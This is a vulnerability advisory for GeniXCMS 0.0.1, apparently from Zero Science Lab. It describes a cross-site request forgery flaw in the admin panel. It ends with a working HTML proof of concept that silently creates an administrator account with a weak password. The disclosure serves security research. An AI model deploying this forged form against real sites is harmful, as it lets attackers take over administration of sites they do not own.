GeniXCMS v0.0.1 CSRF Add Admin Exploit
Vendor: MetalGenix
Product web page: http://www.genixcms.org
Affected version: 0.0.1
Summary: GenixCMS is a PHP Based Content Management System and Framework (CMSF).
It's a simple and lightweight of CMSF. Very suitable for Intermediate PHP developer to
Advanced Developer. Some manual configurations are needed to make this application to
work.
Desc: The application allows users to perform certain actions via HTTP requests without
performing any validity checks to verify the requests. This can be exploited to perform
certain actions with administrative privileges if a logged-in user visits a malicious web
site.
Tested on: nginx/1.4.6 (Ubuntu)
Apache 2.4.10 (Win32)
PHP 5.6.3
MySQL 5.6.21
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2015-5234
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5234.php
05.03.2015
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<html>
<body>
<form action="http://localhost/genixcms/gxadmin/index.php?page=users" method="POST">
<input type="hidden" name="userid" value="Testingus" />
<input type="hidden" name="pass1" value="123456" />
<input type="hidden" name="pass2" value="123456" />
<input type="hidden" name="email" value="t00t@zeroscience.eu" />
<input type="hidden" name="group" value="0" />
<input type="hidden" name="adduser" value="" />
<input type="submit" value="Forge!" />
</form>
</body>
</html>